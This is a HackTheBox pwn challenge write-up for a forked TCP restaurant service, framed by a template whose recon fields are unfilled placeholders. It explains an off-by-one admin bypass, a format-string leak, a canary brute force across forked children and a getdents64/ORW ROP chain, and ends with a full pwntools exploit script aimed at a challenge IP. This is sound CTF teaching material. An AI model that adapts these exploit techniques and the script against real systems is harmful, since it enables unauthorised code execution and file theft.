← Back to Writeups
HTBN/APwn

Forks and Knives

XESXOR8/23/202611 min read
#pwn#htb#n/a

Forks and Knives

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-31 | Status: Solved Techniques: fork_canary_bruteforce, format_string_libc_leak, getdents64_filename_recovery, off_by_one_admin_bypass, orw_rop, stack_overflow_rop

Summary

Task: a forked Linux TCP service with PIE, NX, canary, Full RELRO, an off-by-one admin bypass, a reservation format string, and a staged stack overflow. Solution: use the NUL overwrite to reach manager functions, leak libc and stack via fprintf, brute-force the shared canary across forked children, recover the randomized flag filename with getdents64, then finish with an ORW ROP chain.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260331_hackthebox_forks_and_knives
  • Tags: stack_overflow, pie, format_string, off_by_one, pwn, nx, full_relro, stack_canary, fork_server, orw, getdents64
  • Indicators: fork-per-connection service, 16-byte name buffer followed by adjacent auth flag, fprintf(file, user_buf) on attacker-controlled string, first stack read length reused as second write offset
  • Source: 20260331_hackthebox_forks_and_knives.md

Foothold

Vulnerability / Misconfiguration

  1. Fork_canary_bruteforce
  2. Format_string_libc_leak
  3. Getdents64_filename_recovery
  4. Off_by_one_admin_bypass
  5. Orw_rop
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • fork_canary_bruteforce
  • format_string_libc_leak
  • getdents64_filename_recovery
  • off_by_one_admin_bypass
  • orw_rop
  • stack_overflow_rop
  • Tags: stack_overflow, pie, format_string, off_by_one, pwn, nx, full_relro, stack_canary, fork_server, orw, getdents64

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Welcome to the Forks & Knives restaurant!

This was a forked TCP pwn service, not a web task. The binary exposed a restaurant menu over the network and kept per-client state such as the user name, reservations, and order data.

Remote target: 154.57.164.78:30845.

Files:

  • server
  • libc.so.6
  • Dockerfile

Recon

The first useful strings immediately showed the challenge shape:

  • Welcome to the Forks & Knives restaurant!
  • Can I have your name please?
  • Reserve a table
  • Place an order
  • Login as manager
  • View reservations
  • Clear reservations

That made it clear this was a classic menu-driven Linux service. There was no HTTP parsing anywhere, and the target itself behaved like a forked TCP daemon: every incoming connection got a fresh child process.

checksec on the binary:

ProtectionStatus
PIEEnabled
NXEnabled
CanaryEnabled
RELROFull

So the exploitation plan had to avoid GOT overwrites and needed either a canary leak or a reliable canary bypass. Because the service forks, the stack canary is inherited by children, which turned brute force into a viable primitive.

Reversing Findings

Global state

The early input handler stores the customer name in a global buffer:

  • name at 0x4030
  • adjacent admin flag at 0x4040

The name logic reads up to 16 bytes and then writes a trailing \0 at name[len].

That is safe for lengths 0..15, but exactly 16 bytes makes the terminator land one byte past the buffer, on top of the neighboring auth state.

Bug 1 — off-by-one NUL admin bypass

If we send exactly 16 bytes as the initial name, the terminator is written to 0x4040 and clears the adjacent admin flag. In this program that flipped the manager check in our favor, so the manager-only menu entries became reachable without any real login.

This was the first stage of the chain because the format-string bug lived behind the reservation/manager flow.

Bug 2 — format string in reservation writer

The reservation path asks:

How many people would you like to reserve the table for?

That value is read into a tiny 4-byte stack buffer, then embedded with:

snprintf(user_buf, ..., "Table for %s\n", input);

So far this is fine. The bug appears one step later when the resulting string is written with:

fprintf(file, user_buf);

Instead of treating user_buf as plain data, it becomes the format string for fprintf. Since manager access lets us view the saved reservations afterwards, we can plant %p specifiers and recover pointers from the child process.

The two leaks that mattered were:

  • %2$p → libc pointer to lseek64+0xb
  • %1$p → stack pointer inside the current frame

Known libc relation:

lseek64       = 0x114910
lseek64 + 0xb = 0x11491b

So:

libc_base = leak_%2$p - 0x11491b

The stack leak gave a stable way to compute the future order buffer address:

order_buf = stack_leak - 0xe0

That was important because the final payload did not spawn an interactive shell. Instead, it used ORW directly and needed a reliable writable pointer for filenames and file contents.

Bug 3 — staged stack overflow in the order flow

The order handler contains two reads:

  1. First read: 0x100 bytes into a local buffer at rbp-0x110
  2. Then a 2-byte y/n read at rbp-0x116
  3. If the answer is y, a second read of 0x100 bytes goes to buf + first_len

That means the program reuses the length returned by the first read as the starting point for the second write.

If we make the first read consume a full 0x100 bytes, the second destination becomes:

(rbp - 0x110) + 0x100 = rbp - 0x10

From there, the second read starts past the end of the original buffer, only 8 bytes before the canary.

Stack layout relative to the second write start:

rbp-0x10  -> second write starts here
rbp-0x08  -> canary
rbp+0x00  -> saved rbp
rbp+0x08  -> saved rip

So the second-stage payload becomes:

8 bytes padding
8 bytes canary
8 bytes saved rbp filler
ROP chain

This gave controlled RIP despite NX, PIE, canary, and Full RELRO.

Exploitation Chain

The final exploit used the following sequence:

  1. Send exactly 16 bytes as the name to NUL out the adjacent admin flag.
  2. Create a reservation containing format specifiers.
  3. View reservations and parse:
  • %2$p for libc base
  • %1$p for stack leak
  1. Compute order_buf = stack_leak - 0xe0.
  2. Brute-force the stack canary byte-by-byte across forked children.
  3. Trigger the order overflow.
  4. First use ORW + getdents64 to list the directory and recover the randomized flag filename.
  5. Run a second ORW chain to open that file and send it back through the client socket.

Canary Brute Force Across Forked Children

Because the parent process forks a child for each connection, every child inherits the same canary value. That turns crash-or-no-crash into an oracle.

Recovered canary:

00 8e eb 38 42 f7 ae 33

Little-endian 64-bit value:

0x33aef74238eb8e00

Bruteforce method:

  1. Open a fresh connection.
  2. Reapply the 16-byte name admin bypass.
  3. Enter the order flow.
  4. Send 0x100 bytes in the first order read so the second write starts at rbp-0x10.
  5. Send a second-stage payload with:
  • 8 bytes padding
  • known canary prefix + guessed next byte
  1. If the child survives and reaches the success path, the guessed byte is correct.
  2. Repeat until all 8 bytes are known.

The leading canary byte is 0x00, so only the remaining 7 bytes needed guessing.

Recovering the Randomized Flag Filename

The provided Dockerfile contains the important hint:

# RUN mv /home/ctf/flag.txt /home/ctf/flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16).txt

So even after code execution, assuming a fixed flag.txt path would fail. The exploit first used a directory listing ROP chain.

Why getdents64

Once libc was known, ORW was enough to read arbitrary files, but we still needed the exact randomized name. getdents64 solved that cleanly:

  1. open(".", 0) or open("/home/ctf", 0)
  2. getdents64(fd, order_buf, 0x300)
  3. write(4, order_buf, 0x300)

Here 4 is the client socket descriptor in the forked child, so the directory entries are written directly back to our connection.

That revealed:

flagd816d7b5ab9c4d97.txt

Final ORW Exploit

After discovering the filename, the last chain reused the same overflow and targeted the real flag file.

High-level ROP plan:

  1. open("flagd816d7b5ab9c4d97.txt", 0)
  2. read(3, order_buf, 0x80)
  3. write(4, order_buf, 0x80)
  4. exit(0)

Why ORW instead of system("/bin/sh"):

  • It avoids dealing with TTY / interactive shell quirks.
  • It works cleanly against a forked network service.
  • The socket FD was already known to be usable for output.

Useful constants

libc leak source     : lseek64+0xb
libc leak offset     : 0x11491b
stack-derived buffer : order_buf = stack_leak - 0xe0
known socket fd      : 4
canary               : 0x33aef74238eb8e00

Example exploit

#!/usr/bin/env python3
from pwn import *
import re

HOST = "154.57.164.78"
PORT = 30845

BIN_PATH = "./server"
LIBC_PATH = "./libc.so.6"

elf = context.binary = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

CANARY = 0x33AEF74238EB8E00
LSEEK64_RET_OFF = 0x11491B          # lseek64 + 0xb
ORDER_BUF_DELTA = 0xE0              # order_buf = stack_leak - 0xe0
CLIENT_FD = 4
LISTING_PATH = b".\x00"
FLAG_NAME = b"flagd816d7b5ab9c4d97.txt\x00"


def start():
    return remote(HOST, PORT)


def menu(io, choice: int):
    io.recvuntil(b"Clear reservations")
    io.sendline(str(choice).encode())


def set_name(io, name: bytes):
    io.recvuntil(b"Can I have your name please?")
    io.send(name)


def manager_bypass(io):
    # Exactly 16 bytes -> trailing NUL lands on adjacent admin flag.
    set_name(io, b"A" * 16)


def reserve(io, people: bytes, saved_name: bytes = b"guest"):
    menu(io, 1)
    io.recvuntil(b"How many people would you like to reserve the table for?")
    io.sendline(people)
    io.recvuntil(b"Under what name shall we save the reservation?")
    io.sendline(saved_name)


def view_reservations(io) -> bytes:
    menu(io, 5)
    data = io.recvuntil(b"Clear reservations", drop=True, timeout=2)
    return data


def leak_libc_and_stack(io):
    reserve(io, b"%1$p.%2$p", b"chef")
    data = view_reservations(io)

    m = re.search(rb"0x([0-9a-fA-F]+)\.0x([0-9a-fA-F]+)", data)
    if not m:
        log.failure(data)
        raise ValueError("failed to parse reservation leaks")

    stack_leak = int(m.group(1), 16)
    libc_ret = int(m.group(2), 16)
    libc.address = libc_ret - LSEEK64_RET_OFF
    order_buf = stack_leak - ORDER_BUF_DELTA

    log.success(f"stack leak  = {hex(stack_leak)}")
    log.success(f"libc leak   = {hex(libc_ret)}")
    log.success(f"libc base   = {hex(libc.address)}")
    log.success(f"order buf   = {hex(order_buf)}")
    return order_buf


def order(io, first: bytes, second: bytes):
    menu(io, 2)
    io.recvuntil(b"What would you like to order?")
    io.send(first)
    io.recvuntil(b"Would you like to add anything to your order? (y/n)")
    io.send(b"y\n")
    io.recvuntil(b"What else will you add to your order?")
    io.send(second)


def build_syscall_chain(order_buf: int, dir_fd: int):
    rop = ROP(libc)
    pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address
    pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address
    pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
    pop_rax = libc.address + rop.find_gadget(["pop rax", "ret"]).address
    syscall = libc.address + rop.find_gadget(["syscall", "ret"]).address

    chain = flat(
        pop_rdi, order_buf,                 # open(path, 0)
        pop_rsi, 0,
        libc.address + libc.sym.open,

        pop_rdi, dir_fd,                    # getdents64(dir_fd, order_buf, 0x300)
        pop_rsi, order_buf,
        pop_rdx_r12, 0x300, 0,
        pop_rax, 217,
        syscall,

        pop_rdi, CLIENT_FD,                 # write(4, order_buf, 0x300)
        pop_rsi, order_buf,
        pop_rdx_r12, 0x300, 0,
        libc.address + libc.sym.write,

        pop_rdi, 0,
        libc.address + libc.sym.exit,
    )
    return chain


def build_flag_chain(order_buf: int, flag_ptr: int):
    rop = ROP(libc)
    pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address
    pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address
    pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address

    chain = flat(
        pop_rdi, flag_ptr,                  # open(flag_name, 0)
        pop_rsi, 0,
        libc.address + libc.sym.open,

        pop_rdi, 3,                         # read(3, order_buf, 0x80)
        pop_rsi, order_buf,
        pop_rdx_r12, 0x80, 0,
        libc.address + libc.sym.read,

        pop_rdi, CLIENT_FD,                 # write(4, order_buf, 0x80)
        pop_rsi, order_buf,
        pop_rdx_r12, 0x80, 0,
        libc.address + libc.sym.write,

        pop_rdi, 0,
        libc.address + libc.sym.exit,
    )
    return chain


def overflow_payload(order_buf: int, rop_chain: bytes, first_blob: bytes) -> tuple[bytes, bytes]:
    first = first_blob.ljust(0x100, b"A")
    second = flat(
        b"B" * 8,          # second write starts at rbp-0x10
        CANARY,
        b"C" * 8,          # saved rbp
        rop_chain,
    )
    return first, second


def list_directory():
    io = start()
    manager_bypass(io)
    order_buf = leak_libc_and_stack(io)

    first_blob = LISTING_PATH
    chain = build_syscall_chain(order_buf, 3)
    first, second = overflow_payload(order_buf, chain, first_blob)
    order(io, first, second)

    data = io.recvrepeat(1)
    io.close()
    return data


def read_flag():
    io = start()
    manager_bypass(io)
    order_buf = leak_libc_and_stack(io)

    flag_ptr = order_buf + 0x20
    first_blob = LISTING_PATH.ljust(0x20, b"\x00") + FLAG_NAME
    chain = build_flag_chain(order_buf, flag_ptr)
    first, second = overflow_payload(order_buf, chain, first_blob)
    order(io, first, second)

    data = io.recvrepeat(1)
    m = re.search(rb"HTB\{[^}]+\}", data)
    if m:
        log.success(f"flag = {m.group().decode()}")
    else:
        log.failure(data)
    io.interactive()


def brute_canary():
    known = b"\x00"
    while len(known) < 8:
        for guess in range(0x100):
            io = start()
            try:
                manager_bypass(io)
                menu(io, 2)
                io.recvuntil(b"What would you like to order?")
                io.send(b"A" * 0x100)
                io.recvuntil(b"Would you like to add anything to your order? (y/n)")
                io.send(b"y\n")
                io.recvuntil(b"What else will you add to your order?")
                probe = b"B" * 8 + known + bytes([guess])
                io.send(probe)
                out = io.recv(timeout=0.4)
                if b"You order has been placed!" in out or b"already placed" in out or out:
                    known += bytes([guess])
                    log.success(f"canary so far: {known.hex()}")
                    io.close()
                    break
            except EOFError:
                pass
            finally:
                io.close()
        else:
            raise RuntimeError("failed to brute-force next canary byte")
    return u64(known)


if __name__ == "__main__":
    # Optional helper:
    # print(list_directory())
    read_flag()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR